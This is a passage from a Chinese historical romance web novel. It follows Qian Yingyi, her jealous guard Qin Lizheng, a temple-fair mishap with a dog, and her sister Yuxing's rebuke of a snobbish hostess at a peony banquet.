她的气息近在咫尺,一股零陵香涌进他的鼻腔,他见过她歇息时的模样,不绾发丝,穿一件薄薄的寝衣,胳膊握在手里,比什么都要绵软。 秦离铮克制自己吸气缓一缓,压下那股把她抱进怀里的冲动,由她拉着自己的手摆弄。 只是免不得不受控制地要向她再靠近一点,想陷进以她为名的柔软云团里。 钱映仪借着光去窥他的银戒,其实她早已将这一对银戒摆弄在自己想要的位置上,她大可以丢开他的手,再退离他身前。 可他的呼吸已经悬在她的头顶,令她生出一股错觉。只要她抬脸,或是在此刻动一动,他大 约会再越矩一次。 钱映仪敏感的神经一直在跳,会再抓住她的手吗?还是会做些更过分的事? 二人之间已近得只需一抬手就能拥抱。她不敢细想,更不敢再动。 彼此都沉默许久,直到外间响起夏菱的声音,“好了,你就照着这样式打络子,先回去歇着,我去替小姐掖一掖被角。” 下一刻,是夏菱往这头走来的脚步声。 这下钱映仪什么都无法再想,慌张摁上他的胸膛,只顾把他往外推,丢下一句“快走”,又急匆匆摸黑往拔步床上去。 不防跑得太急,脚下绊住床槛,“砰”地一声就扑倒在地! 夏菱这时已推门进来,手里擎着银釭,一眼看清钱映仪扑在地上,忙上前扶她,“哎唷,小姐起身怎么不点一盏灯?可有哪里摔着?” 钱映仪没摔疼,心虚抬脸朝她身后望,见侍卫已消失在原地,长舒一口气,讪笑道:“我、我忘了。” 夏菱忙解了她的披风,送她往榻上去躺着,又替她掖一掖被角,旋即又往灯罩里换了灯芯,方退出去替她掩好了门。 剩钱映仪独自蜷缩在被衾里,把自己憋出一层薄薄的汗,也顾不得再擦拭干净,只愣神自言自语:“钱映仪,你到底怎么了” 早蛩啼复歇,残灯灭又明。女孩子的心事既朦胧又迷茫,渐渐地,也尽数掩进了淅淅沥沥的夜雨里。 雨后又是风急,接连踏了几日水,才得以拨开云层见日。这日正值下晌,蔷薇花爬遍西墙,钱映仪想起那张小床,便使小厮抬了送去任郁青那儿。 任郁青正搬了把椅子在树荫下打盹,掀眼见是她来,忙起身迎她,“妹妹快些过来坐。” “嫂嫂不必起身!”钱映仪也赶忙截停她的动作,笑嘻嘻摁她坐回椅上,歪着脸把她窥一窥,“我瞧着嫂嫂的脸色好多了,果然金陵养人,嫂嫂食欲可有好些?” 任郁青桃腮泛起温柔笑意,“好些了,我午睡起来想吃河里捞的鱼,你哥哥前脚刚出去呢。” 钱映仪点了点下颌,虽怕树上再掉小虫,却还是搬了把竹椅来陪她坐,“哥哥这回能在金陵待上半月再去扬州,那时嫂嫂应该什么都能吃了,他走得也放心,嫂嫂,你想生个男孩还是女孩?” 任郁青忍俊不禁,“这才多大,还早呢,我觉得男女都好,你做姑妈,想要侄子还是侄女呢?” “我当然想要侄女,床都是照着女孩子喜欢的样式打的哩!”钱映仪一指小厮搬来树下的小床,干脆又去把那悬挂在上头的彩球拨一拨,笑道:“女孩子好,又乖又听话。” 任郁青还是起身去抚那张小床,瞧着也喜欢,忍不住赞叹道:“映仪,谢谢你呀,这小床真好看,到底是金陵的工匠手巧。” 正巧一阵风吹来,钱映仪的声音糅杂在里面,布满笑意,“不是什么工匠,是林铮做的,我也觉得他做得好。” 她只是随口把侍卫夸一夸,却使任郁青忽然偷瞥她一眼。她没尝过情爱,任郁青却与钱林野是两情相悦,稍有些细微的变化便能立刻察觉出来。 顿了顿,任郁青扬唇轻笑,带着些许试探问,“映仪,你好像很满意这个叫林铮的侍卫?” 钱映仪一怔,眼风立时在细细密密的树叶里打转,“有、有吗?” 任郁青窥她神情,自有几分思量,自然不赞成她与家里的侍卫有什么牵扯,还要再委婉说上两句。 岂知还未张口,那钱家玉幸就快步进了她的院子。 钱玉幸气吁吁喘了两口气,一连喝了两盏茶,才摸了条帕子揩拭嘴唇,问,“你们说什么呢?” 她性子太直,任郁青恐那些提醒钱映仪的话说出来会惹她冒进,干脆先摁住不表,只道:“说起映仪送给小侄女的床呢,你往哪里去了?” 钱玉幸成婚几载一直未曾有孕,却也不急,因此只是把那小床望一望,便道:“哦,昨日不是有外头的太太请我去赏花?我去了,本是想看一看那郭月在不在,我好教训她一番,使她以后不敢再欺负妹妹。” “哼,郭月不在,倒叫我听到个不好的消息,”钱玉幸道:“瑞王膝下的世子到底娇气,他在府学夜里起来方便,竟还能把腿给摔断!这下我是想寻他麻烦,也不好再去。” “哟,这可了不得,瑞王府没找茬?”任郁青忙问。 钱玉幸撇一撇唇,道:“找什么茬?他自己摔断腿,瑞王府还能上府学理论不成?” 钱映仪也有些诧然,“我从未听过摔一跤能将腿摔断的,他这是多倒霉?” “我也不知,”钱玉幸随口答道:“只是今日出去听别人说起来,才知晓这事。” 虽不喜俞敏森,听说他腿断了,钱映仪幸灾乐祸几句便也止住,又拉着姐姐与嫂嫂一齐聊些家常。 落日鎏金时,钱林野提着几尾还活着的河鱼归家,在门口与余骋撞上,二人正好一并往后院走。 许珺在家无事,一心扑在任郁青的肚子上,这厢听到风声,就忙使两个婆子去把鱼要过来。 旋即炖上一锅鲜嫩的鱼汤,又使厨房备些时兴的菜,待钱兰亭归家,一家人就坐在小花厅乐呵呵用饭。 余骋这几日还未去府衙转转,只在江宁、上元等县巡访。 正客气接过许珺递来的鱼汤,倏然想到件事,他便笑道:“说起来,从上元回来时,我在红桥那边撞上个热闹,说是今夜有庙会,倘或坐马车去,倒是不远,你们想不想去?” 钱玉幸与钱映仪一脉相承,最喜此等热闹,忙兴兴点一点下颌,钱玉幸更是笑吟吟替余骋夹一筷子豆腐,嗓音也软得要把他包住,“官人,请吃。” 余骋悄瞥垂首用饭的二位长辈,两只耳朵红彤彤的,轻瞪钱玉幸一眼,又问钱林野,“你们呢?大嫂近来精神不错,要不要也出去转转?” “那要看你们大嫂想不想去了,”钱林野笑,“她想去,我也跟着去,她不想去,那我也不去。” 钱映仪把脸埋在碗里偷笑,不一时,复又期期艾艾望着钱兰亭,“爷爷,您去不去呀?” 钱兰亭细嚼慢咽用饭,半晌,乜她一眼,道:“工部事忙,都水清吏司的那位大人生的是怪病,爷爷每日早出晚归,连脸上的褶子都深了些,今日好容易早早归家,你就放过爷爷,让爷爷好好休息一回,行吗?” 这话诙谐,众人笑作一团。任郁青便笑着点了点下颌,“那我也去,我是感觉好多了。” 于是用罢晚饭,各自回院换了身轻便的衣裳,一行人就兴兴出门往红桥赶。 依旧是两辆马车一并出行。 两炷香的功夫赶过去,隔着车帘便听敲锣打鼓声,马车甫一停下,钱映仪就忙撩开帘子。 眼前倏然凑来一截结实的胳膊,她顿一顿,不自在地瞟了侍卫一眼,还是搭上他的手臂,旋即下了车。 果真是场庙会,来往行人虽算不得拥挤,却犹显热闹,地面还有些湿,满街花灯照得地面好似一幅画,沿街击鼓之人亦有不少。 钱映仪立时浮现笑颜,上前揽着钱玉幸的胳膊,把余骋往一旁挤一挤,“姐姐,咱们往那头去!” 余骋无奈笑一笑,只好跟在后头。 姐妹二人又左右将任郁青给围住,细细呵护着。 眼见人有些多,秦离铮不自觉想跟紧钱映仪,脚步加快没片刻,钱林野陡然出现在视线里。 钱林野乜他一眼,笑道:“秦指挥,我的妹妹,我会看着。” 秦离铮稍稍歪脸,去窥视前方那抹熟悉的背影,只道:“那就请跟上,不必刻意倒转回来提醒我。” 因二人先前在京师有过节的缘故,钱林野暗藏与秦离铮作对的心思,行走时总要越过他。 正暗自较劲,倏见秦离铮的脚步顿停,眼神稍显冰冷。 钱林野顺着他的目光往前看,钱映仪身前不知何时多了个俊俏男子,正噙着笑与他搭话。 “那是燕三郎?”钱林野眯着眼睛猜测。 秦离铮淡道:“还不过去?不过去就别拦着我。” 言罢顺势撞开他的肩往钱映仪那头行去。 钱林野忙跟上,语气亦算不得好:“不必劳烦你!我这就去!” 这厢钱映仪也稍显意外会 撞见燕如衡,见他穿一身补服,猜想他是从江宁县衙回来,便笑道:“好巧!” 钱玉幸暗窥燕如衡这张尤其漂亮的脸,她不知其父有什么阴谋,只道这脸得妹妹欢喜,因此刻意拉着任郁青往一旁让一让。 燕如衡也有些诧异,这几日虽被爹训斥过,但能见到钱映仪,他还是十分高兴。 于是挨个作揖,遂顺势与钱映仪并肩往前走,他笑道:“的确是巧,我听衙门班头说此处有庙会,想着也许会有凤阳的点心卖,便过来看一看。” 钱映仪头一回听他提起凤阳,她没去过,免不得好奇,便偏过头凝视他,“凤阳的点心,有这么好吃?” “还行吧,”燕如衡脸上陡显怀念神色,“在凤阳待的那几年,是我过得最深刻的日子,东西自然也就好吃些。” 钱映仪只当他随口一提,现下心情不错,便跟着笑,“你这样说,我倒馋了,正好家里嫂嫂怀孕,说不准也爱吃,我同你一起去寻一寻。” 钱林野匆匆赶来,盯着二人行在前头的背影,与余骋互相睇眼,交换了个谨慎的神色,便放缓脚步与各自的妻子并行。 偏生今日就这么巧,让妹妹遇上这燕三郎。 径自拉妹妹回来太过突兀,为免燕三郎起疑,他们暂且只能先跟着。 钱映仪一路踩着石板路往前走,对摊贩卖的那些灯也十分感兴趣,便使夏菱买了个兔子模样的手提花灯,有一搭没一搭在手里转着。 大约是燕如衡今番穿的是官服的缘故,又或许他这张脸俊美无俦,擦肩过的百姓也时不时把他暗自扫量,行走时也刻意避开了他。 再行小半截路,燕如衡目色一亮,指着右前方的小摊道:“还真有,映仪,你瞧。” 钱映仪探着脑袋去瞧,因身形没他高,正巧前头又有两个人给遮挡住,不免瞧不清楚。 于是她踮一踮脚,那只提了兔子灯的手也横在额前,欲看得再仔细些。 不巧那摊贩养了条小狗,想来或许是摊贩吸引食客注意的手段。狗儿模样可爱,却有些调皮,一眼被那亮晶晶的兔子灯吸引,“汪汪”叫了两声就迈开四肢往那头跑去。 锣鼓震天,钱映仪仍未瞧清,只得把手放下,正要与燕如衡说话时,不防感觉兔子灯被什么拽着往前去,她噙笑一扫量,笑颜登时凝固。 下一刻,一声尖叫自她红唇溢出,她慌神不已,握拳就往反方向跑! 那小狗儿以为她与它玩耍,兴奋起来一连迭追着她叫,钱映仪慌忙绕着一处摊子打转,嘴里也一连迭喊,“你别过来!你别过来!” 她的嗓音已渐染恐慌,夏菱跟在后头,回过神来忙追去,“小姐!小姐!把兔子灯丢了!这狗不是在追您!” 燕如衡被方才那声尖叫惊得发蒙,这一下也匆匆醒神。他离得近,见钱映仪要丢兔子灯,便快步赶去。 那摊贩也被这一幕吓得不轻,见钱映仪穿着富贵,恐自己得罪不起,忙将手指抵在唇边吹出一声哨响。 那狗得了兔子灯十分欢喜,狗嘴衔着灯笼,把肥硕的后臀一摇一摆就蹦跶走了。 钱映仪吓得腿软,下意识去想撑点什么,这一下就往一旁歪倒去! 燕如衡此时已越过夏菱行至她身侧,只消一伸手就能拉她入怀站定。 怎料手刚握上她小半截胳膊,一道身影便蛮横隔开了他。 钱林野把钱映仪反护在身后,盯着燕如衡笑,“燕家三郎是吗?方才打招呼时我在后头,初次见面,我是映仪的哥哥,多谢你关心她。” 这厢客客气气打过招呼,钱林野复又转身去扫量钱映仪,目色也有些紧张,屈指往她额心轻弹,“教你多少次了?遇见狗不要慌,你跑,狗也会跑,你怎么跑得过狗?没事吧?” 见钱映仪小脸惨白,钱林野便作势要去找那摊贩算账,“行,我去问问,看看到底是谁带狗出来不栓绳!” 知他也是急脾气,钱映仪忙拽他的袖摆,“哎唷,我没事,还不允许我多缓一缓吗?别去寻人家的麻烦,你这样气势汹汹过去,人家魂都要被你吓没了!” 她一席话连着蹦出来,瞧着不像被吓丢魂的模样,钱林野这才放下心,脚步也调转回来,只道:“哥哥教你的,下回仍需谨记,嗯?” 钱映仪忙点点头。 “没事就好,”燕如衡倏然近前两步,眼神隐含关切之意,“映仪,我还不晓得你居然怕狗,说来也是我不对,还请原谅我。” 言讫,他神情真诚地向她作揖。语气温柔,面容俊美,自然引得一些行人投来艳羡的目光。 钱映仪想着他方才握着自己的胳膊,浑身都有些难受,便侧身让了让他。 钱林野自然也察觉出那些目光,便刻意将钱映仪挡一挡。 “行了,妹妹,咱们先回去寻你嫂嫂他们,我叫他们在原地等着,别叫他们担心。”钱林野说话一如既往令钱映仪安心,只听他又说了几句话向燕如衡告别。 可钱映仪此刻倏有所感,冷不丁觉得有道视线一直停在自己身上。有些发凉。 她扭头去望,透过攒动的人群四面睃寻,越过姐姐与嫂嫂,在离她本也不远的地方看到了侍卫。 钱映仪心中一跳,对上他的脸,她莫名心虚起来。 侍卫仍是那副淡漠的神情,眼底的凉意却仿佛要凝成一点冰。周遭喧嚣,花灯悬在半空很是绚丽。他却好似站在一条稍显荒凉的分割线上,在原地一动不动,冷冷看着她这边—— 作者有话说:她逃,他追,她插翅难飞~ 侍卫彻底黑化(字面意思) 第28章 真是个笑话,她有什么好心虚的呢?他以为他是谁。 钱映仪虽在心里如此忿忿想着,却不受控制透过热闹凝视他,彼此站在另一端,好像远得已经遥不可及。便连钱林野在耳侧催促三四回都没听见。 “妹妹!”钱林野沉了沉嗓音,轻戳她软软的腮肉。 钱映仪方敛神收眼,把心里的颠簸收一收。她定然是因被那狗吓着了,才如此心慌。 半晌,她弯唇冲燕如衡笑笑,“对不住,我今日是同家人出来,日后若是有机会,我再去尝尝你说的凤阳点心。” 随即不再与他谈笑,旋裙跟在钱林野身后走了。 燕如衡伸手想挽留,目色尽显不舍,却也只能看着她跟在兄长身后离去。 因那小狗儿出现,把余下三人都惊了惊,他们都是晓得钱映仪怕狗的。钱玉幸眼见钱林野领着妹妹回来,方拍一拍胸脯,又抚着钱映仪的额心往上摸三下,“魂在这儿呢!” 继而,钱玉幸提出不如就此折返回家。 钱映仪一面摆手说无妨,一面笑嘻嘻去揽她的臂弯,“早知我也不往那头去,咱们换个方向,一路走来我还有许多摊子没逛,逛一逛了再回家嘛。” 见她无碍,一行人只好调转脚步往另一头走,任郁青来金陵的次数较少,这会也稀奇,这里摸一摸,那里瞧一瞧。 钱映仪喜爱漂亮玩意,在一处摊子上看中条细细的银链子。尚没一根手指宽,每半个指节的距离就坠了些亮晶晶的小银球在下面,很是耀眼。 任郁青打趣她,“这链子买回去,你如何使?” “坠在腰上喽,”钱映仪不大在意,“二婶婶替我裁了几件新的长比甲,有件适合入秋穿,颜色稍暗,配这正好呢。” 几人只笑她大姑娘爱美。 俄延半日,任郁青渐渐疲累,见天色已晚,一家人便一并坐上马车辗转回琵琶巷了。 至于钱映仪今夜遇见小狗儿这件事,被她自己当作趣事半开玩笑说与还在等他们的许珺听。 许珺担忧过一阵又捂着帕子笑,静坐片刻,遂催着几人早些去歇息。 这桩“趣事”便也隐进静悄悄的黑夜里,不再提起了。 只是黑漆漆的宅子里,仍有一盏灯亮着,任郁青歪在钱林野怀里翻来覆去,引得钱林野揽紧她亲了下,轻问,“睡不着?睡不着就起来,我陪你四下再转转。” 说罢他作势撑身而起,反被任郁青匆匆拦下。 任郁青寻了个软枕垫在腰后,踟蹰片刻, 还是将白日钱映仪那一丝丝变化说与钱林野听,又道:“官人,你有没有觉得,妹妹对这个叫林铮的侍卫不太一样?” 钱林野眸色轻闪,“哪里不一样?” 任郁青分析得头头是道:“你瞧,咱们回来这些日子,妹妹可还喊过小玳瑁替她办事?她下午来送小床,说是做姑妈高兴,提前打一张送给咱们的孩儿,那小床是林铮做的,说起他来,她话里全是夸赞,听那语气,也不是主子对下人的夸赞,倒像是一个女人对一个男人” 顺着她的目光去望那张精致小床,钱林野稍顿,半晌,回身摸一摸她的脑袋,只道:“青青,是你想多了,妹妹向来图新鲜,你又不是不知。” 任郁青仍显狐疑,却被钱林野衔着嘴唇亲一亲,这下羞意上来,也顾不得再去细究,只好把脸埋进了被衾里。 剩钱林野落帐时,冷扫那张小床,眼底牵出几分不自在,“装模做样” 他“嘁”了声,恐被任郁青听见,复又把话压下,重新揽着妻子睡下。 光阴瞬转,五月榴花如火,南直隶吏部右侍郎温涧舟的太太广下请帖,说是预备办一场牡丹宴。 钱林野已然在昨日启程前往扬州,临行时抱着任郁青依依不舍,无端端闹了个红脸。又悄拉余骋在一旁叮嘱,拜托其务必盯着秦离铮,方安心离去。 丫鬟带进帖子来时,任郁青正在屋子里午憩。钱映仪与钱玉幸两个躲在廊坎处翻绳。 这厢接过帖子垂下视线一扫,钱玉幸撇撇唇,没当回事,只道:“金陵这些个官太太日子当真惬意,我在京师都没频繁接过这么多帖子。” 大约是余骋任江南巡抚的缘故,又或是钱玉幸那日太彪悍,自打在晏家替钱映仪出过头,金陵大半数官太太早已门清,只暗道自己先前糊涂。 因此,不是今儿下帖子请钱玉幸带妹妹到家里玩,就是明儿请钱玉幸带妹妹赏赏花。 总之,刻意讨好的意味太明显。 眼下这帖子,指不定也有那些太太们在背后轻轻撺掇。只仗着温家与钱家也有来往,盼着温太太能请得动钱玉幸。 很可惜,钱玉幸时常不按常理出牌,把那帖子一扔在旁,与丫鬟道:“温家的下人走没?没走的话,你去回了人家,就说我事忙,脱不开身。” 丫鬟忙应声,旋裙就往外头行去。 “嗳,等一等!”不防钱映仪启声拦停丫鬟,捡起帖子翻一翻,扭头与钱玉幸道:“姐姐,岚岚的娘去得早,如今的温太太是她爹后头娶进门的,岚岚从十岁起就在温太太手下讨生活,温太太也不是个容人的性子,说来我也有阵子没见她了,咱们还是去吧。” 蝉鸣止不住地叫,叫得钱玉幸本就没什么耐性的性子有些急躁。 她仰脸看着妹妹,此番正是浓荫蔽日,却有几束光透过叶隙打在妹妹的后背与肩头,叫光照一照,仿佛她能瞧见妹妹胸膛里那颗时常柔软的心。 其实她推了帖子不去,那些太太们才该日日猜测她会如何与她们算账。钝刀子磨人的皮肉,才能使其害怕。 倘或是去了,一来二往的宴会里,太太们渐渐便觉得此事就那般轻轻揭过去。 看妹妹眼神期期艾艾,钱玉幸轻叹一口气,起身去掐她的杏腮,“行,都听你的。” 她哪能不知?妹妹也知晓其中道理,此番不过也想叫她的闺中好友日子再舒顺点。妹妹总是心肠太软。 因此,辗转过去没几日,姐妹俩皆打扮得靓丽,留任郁青在家由许珺照料,旋即前往绫庄巷的温宅赴宴。 临上马车,钱玉幸古怪把少年侍卫看一眼,问,“小玳瑁?怎么是你?那个叫林铮的呢?” 小玳瑁这些日子与春棠正打得火热,满面春风,笑嘻嘻道:“二小姐,姑爷这几日不是在江宁巡访吗?江宁那边闹了几桩状告地主的案子,闹得挺严重,姑爷正撞见,便接下处理了,林铮身手好,站那就能震慑住人,姑爷调了林铮去震震场子呢。” 钱玉幸闻言把下颌轻点,没再说什么。 钱映仪知晓此事,说不出心中什么滋味。 那个胆大妄为的侍卫离开自己身边,好像人是走了,却把那股冷气丢在她的云滕阁里,她有时竟也觉得冷清。 此番听见他的名字,钱映仪稍有躲闪,闷声不吭先钻进了马车里。 马车辗转驶至温宅,小厮便忙引二人往里头去。温宅鲜丽繁复,正如温太太请帖上所说,满园牡丹盛开得正好。 筵席摆在园中,一见二人身影,温太太忙领着一双儿女过来寒暄。 温太太生了张芙蓉面,身形丰腴饱满,活脱一个美妇,离近了,便笑,“哎唷,真是贵客临门,钱二小姐不,余太太,总算把你给盼来了!” 她乃二嫁,膝下一双儿女是对龙凤胎,是与前一位官人所生,早年那位官人染病离世,她嫁与温涧舟时,这一对儿女自然也一并跟了过来。 女儿名温辛妍,儿子则唤温卓南。温太太忙轻掣二人至钱玉幸身前,引两方相见。又与钱映仪笑道:“映仪,好孩子,你与妍姐姐、南哥哥都认得,不必我再引见了吧?” 钱映仪早年说话直,得罪过几位小姐,这温辛妍正在其列。钱映仪与她互相也看不过眼,只碍着客气笑一笑,“是,都认得。” “温太太客气,喊我玉幸就好。”钱玉幸捻出个笑,径自拉着钱映仪往一座四角亭行去,“今日是小妹在家中无聊,我才陪她过来看一看。” 这话听得温太太眼色微沉,好似当众下了她的面子,但到底还是挂着笑,连连点头,“是是是,映仪这孩子与岚岚一惯是玩到一处,映仪,岚岚在另一头待客呢!我去寻她来陪你!” 这厢甫一坐下,就有几位太太带着自家女儿过来没话找话,话音隐含讨好,听得钱玉幸只是把眼轻瞟她们,评点道:“哟,听太太们的意思,是这些妹妹们都与我家小妹关系融洽,那日只是个误会囖?” 太太们一连迭点头。 钱玉幸眨眨眼,但笑不语。 太太们一噎,暗道她不接话,尬坐片刻只得悻悻回座。 好在温宁岚正领丫鬟过来,与钱玉幸福身见礼后,遂在钱映仪身侧坐下。 钱映仪一双眼把在宾客间斡旋的温太太一瞥,道:“你这位“娘”,也太自私,听了那些太太们撺掇,也想巴结我姐姐,偏只带她一双儿女。我若不来,还不晓得她今日要怎么笑话你,怕要说你和我是白玩到一处这么多年,我连你的面子也不给。” 温宁岚在外虽怯生生的,性子却也坚韧。可今番在家里,到底是在温太太膝下讨生活,有那一双龙凤胎压着,连身子都尤显单薄。 她听了这话便把温太太也望一望,扯出个笑,“我习惯了,我没个亲娘,只有奶妈妈在身边,如今爹也成了别人的爹,嗐,就这情形我还能吃喝不愁,也知足了。” 遂又道:“今日雁雁没来,我独领着你去一旁耍不太像话,我这“娘”打的什么心思你不必管,你不来,她也拿我没什么办法,最多讽我两句,我听了不当回事,你随意坐一坐就与玉幸姐姐回去吧。” 钱映仪把小巧的下颌轻点,摸了盏茶握在手里,“我多坐会儿,也好叫你那后娘知道,我和姐姐是看在你的面子上才来,她也不至于为难你。” 温宁岚心内感激,继而冲钱玉幸也抿出个笑。 花景正好,玳筵欲开。这厢闲谈半日, 园子里陡然传出声惊呼,钱映仪扭头去望,就见几个太太面上尽显嫌弃,绞着帕子紧紧捂在鼻下,离两道身影远远的。 下一刻,一股淡淡的鱼腥涌进她鼻腔。 温宁岚名义上的长姐,那温家辛妍仿佛嗅觉最为灵敏,忙道:“哎唷,一股什么味儿,家里有人病了就不要出来走动了嘛。” 那两道身影神情尴尬,胀红着脸皮一声不吭。 钱映仪把眉轻攒,推一推温宁岚的胳膊肘,问,“岚岚,那边是哪家的太太小姐?” 温宁岚今番被继母推出来待客,自是认出那二人,遂小声道:“是工部都水清吏司范大人家的,妇人是他太太,那小姐是他膝下独女,叫范宝珠。” 说到此节,温宁岚扯出帕子轻遮嘴唇,声音益发的低:“此事你晓不晓得?你爷爷应当同你说过吧?我先前与她们说话时就闻到了这股腥味,像是鱼腥,又像在河里泡久了,都说范大人染的这怪病怕是治不好了,范太太与范宝珠身上有这味儿,是因她们一直跟在床边照顾范大人。” 钱映仪神情稍有惊愕。她早听爷爷说过几回,爷爷只说是怪病,不想是这样见人都被嫌的病。 微风和煦,温宁岚细细的一把声音伴随着风声一并送进钱映仪耳朵里,仿佛还杂糅一丝叹息,“范大人十分清廉,本也没什么家底,往上数三代都是穷书生,遍寻名医已将花光积蓄,我听人说,这病治不好。” “估摸是这个原因,范大人便打发范太太娘俩出来,毕竟成天守在他床前也不是个事儿,范宝珠比你我还大一岁,尚未议亲,再不出来走动,怕是要拖成老姑娘了。” 温宁岚道:“我继母的帖子没下给范家,是范太太往前与别的太太交好,听到风声,才央着那位太太把她们母女一并带来的。” 钱映仪复又遥望那头,见范太太母女拘谨不已,被其他人避如蛇蝎,一时十分同情。 “嗳,你就别看了,我过去一趟。”大约是在范太太娘俩身上寻到一丝被排挤的同病相怜,温宁岚亦是心软,旋即起身匆匆往温辛妍身旁行去。 远远只能见温宁岚笑颜相劝,而温辛妍则把下颌高高扬起,扭头轻瞪温宁岚一眼,便也不再挖苦范太太母女。 “哼,由不是亲生的压在自己女儿头上,”钱玉幸在一旁冷眼瞧着,“这温侍郎白活几十年,畜牲也好过他。” 钱映仪忙把她的嘴遮一遮,心惊道:“姐姐!在人家家里呢,叫人听见不好!” 钱玉幸眼皮子往上翻了翻,这回是真没了耐性,起身道:“这温辛妍不能容人,想必平日也没少挤兑你,我不受这个气,走,随我回去!” 言讫,钱玉幸提裙往外行去。温太太见状忙赶来款留,“哎唷,玉幸,还没开席呢,你这便走了?” 钱玉幸杏眼把她一瞟,唇畔噙了抹若有若无的笑意,“温太太,我在京师时,便是宫中夜宴也去了几回,皇后娘娘喜食湖鱼,一次夜宴更是亲手替我等官眷都宰了条新鲜的鱼,彼时只有夸赞,即使有些味道也无妨,此等饮食消遣,在京师时常有。” 一席话吓得温太太一张保养得宜的娇脸渐渐发白。 “范大人病着,便是皇上得知,也要关怀问上两句。好歹温大人与范大人同居南直隶六部,范太太与范小姐上门做客,温太太却放任女儿当众折辱其身染腥味,温太太与温大小姐真是比皇后娘娘还矜贵不少!” “倒是温二小姐明事理,他日若回京师,待玉幸又进宫赴宴,定然将温二小姐的良善之举当作美谈告知与皇后娘娘,皇后娘娘也定然喜爱。” 钱玉幸渐渐敛了那丝淡笑,“玉幸性子直,恐多留片刻也遭人厌嫌,就此告辞。” 她不提告状,只说届时把温宁岚在皇后面前夸一夸。 一是变相警告温太太,若温太太过了今日迁怒温宁岚,便等于与皇后作对。二来也是告知温太太,如温家这样拜高踩低的地方,她不屑再来。 其他官眷早已竖起耳朵听,此刻神情讪讪,听闻还牵扯到皇后面前去,忙忍着不适笑请范太太入座自己身侧。 一些机灵的小姐更是团团把温宁岚围住,这一颠倒,又成了温辛妍被晾在一旁,止不住地生气跺脚。 钱玉幸见震慑起效,把冷眼收回,不再与温太太费口舌,领着钱映仪便往外头去。 这厢踅进马车,见钱映仪撩着车帘探头,钱玉幸低叹出一口气,道:“放心,岚岚那继母不敢再为难她,那范太太母女也不会再受冷眼。” 钱映仪撂帘偷瞄她,笑眯眯道:“姐姐真懂我,既替岚岚出了气,又帮了范太太母女,姐姐真好。” 钱玉幸哪能不知她?无所谓把肩欹向车壁,由一缕阳光透过帘隙照在下颌上,懒洋洋道:“见风使舵的人,我在京师见得多了。只是京师里那帮太太一个比一个精,面上功夫做得足,一张嘴,死的也能说成活的。” “不像金陵,这些太太们占着这片土地,又远离皇权中心,自然这个不怕那个不怕,否则她们何至于敢欺负你?不过是瞧着爷爷澹然自处,你又没有爹娘在身边罢了。” 钱玉幸掀眼扫量她一阵,拿膝盖去顶妹妹,“有姐姐在,日后你想在金陵横着走,也没敢说你什么,天塌了有姐姐顶着。” 听得钱映仪心头渐暖,倏然去挠钱玉幸的腰窝,姐妹两个登时闹成一团。 临到秦淮河岸时,想及在温家没待到席面开就出来了,皆有些饿。钱玉幸大手一挥,遂包了座画舫,二人游河用膳好不快哉。 辗转再归家时,已是日暮四合。半边天被烧成了红绸子,艳丽得紧。 钱映仪跟在钱玉幸身后穿廊过时,正好与回来的余骋碰上。 钱映仪一眼望见站在余骋身后的侍卫,见他仍旧冷着一张脸,习惯性想与他搭一搭话,想及先前种种与他的僭越,磨了磨牙关没吭声。 他们上一回说话,仿佛还是庙会那夜。 他说什么来着?哦,他那时把她送至云滕阁外,转身便走,只说小姐请早些休息。 后来她忙着跟在哥哥姐姐身后跑,一时好像把他忘了。 再是哥哥前往扬州,姐夫来向她借人 他们竟这么久没说过话了。 两方在拐角碰上,钱玉幸吃饱喝足,脸正是红扑扑的,挤到余骋身边就问,“官人,你饿不饿?用饭了吗?” 余骋受钱林野之命,刻意把秦离铮调离钱映仪身侧,此番见二人碰面,也时刻用一双眼严防死守,眼风在二人身上转了一圈,便笑道:“还没,正往小花厅去呢,二婶婶备了饭。” 钱玉幸兴兴把下颌轻点,“那我陪你去用些。” 因此,夫妻二人往小花厅的方向走。钱映仪一再偷瞥侍卫,握了握拳,倏然想没话找话,“你” 岂知余骋把脸转来,笑着向她招手,“妹妹,快来,咱们一齐过去,有你喜欢吃的菜。” 钱映仪的心扑扑一跳,眼色稍显慌张,好像被余骋抓包似的转过身来,半晌,憋出抹笑,“来、来了!” 她虽提裙跟上,脚步却不快,免不得自心中牵出一抹想法。她都与他说话了,他也要像从前那样及时跟上才是。 钱映仪悄悄侧头,余光正好能瞥清侍卫的身影,他像块冷冰冰的木头,站在原地一动不动,一如庙会那夜。 钱映仪倏然有些烦,暗自一跺脚就快步离去。 她的裙摆很快旋进廊角消失不见,紧随其后的,是秦离铮狼贪虎视的目光。他犹记得,那夜她险些跌进燕如衡怀里,燕如衡连她的胳膊都已触及。 他当时离得不算近,倘或要赶去制止,也能做到。但他不想吓着她,也不想在他兄姐面前令她别扭难堪。 江宁百姓状告地主的案子,与赋税有干系。余骋来找他时,褚之言的情报正送到他手里,那几个地主背后的靠山正是燕家。 证明燕家的手伸得比他们想象的还要宽,他只能答应跟余骋一起去江宁处理。 他见了她是很高兴,但饱胀在心里已有数日的那股嫉妒更甚。 晚霞把秦离铮的侧脸照得晦暗难明。 正巧小玳瑁哼着小曲儿从一 旁过,冷不防被他叫停。 小玳瑁歪一歪脸,神情茫然,“林铮,你叫我?” 秦离铮轻垂眼皮,压下眼底的情绪,“你今夜与我换值,你值后半夜。” 小玳瑁已与春棠互通心意,春棠上月劝他老老实实值守,他便已与秦离铮换回来,此刻听他要换,不免好奇,“为何要换?” 秦离铮目中仿佛烧着一点火,只道:“你换便是。” 扔下这句话,他转背离去。一路默然行至云滕阁外,四面睃寻一圈,不动声色在一块四四方方的石头旁站了站。 旋即往自己休息的寝屋行去,一路有小厮与他笑打招呼,他只稍稍颔首,神情依旧冷漠。 待阖紧门,秦离铮点亮了银釭,继而拉开桌案暗屉,捡出一把普普通通的匕首,在窗下笑一笑,倏地反手往自己腰腹右侧划了条口子。 星星点点的血便由他的衣裳往外渗。 天色渐晚,半空隐有星辰。钱映仪在小花厅陪钱玉幸夫妻说了好一会话,连喝了几杯花茶才止住渴,出来不见侍卫,便瘪一瘪唇,暗骂他两句,旋即领着丫鬟往云滕阁走。 行至院门口时,夜已完全黑了。夏菱在前头掌灯,二人正要往云滕阁里去,钱映仪陡然“咦”了一声。 夏菱茫然问,“小姐,怎么了?” 钱映仪向她要来灯笼,提着往一块石头处行去,待站定,便伏腰在石头一角下捡起一本册子。 夏菱凑个脑袋来,免不得笑一笑,“哪个把话本子落这儿了,粗心大意。” 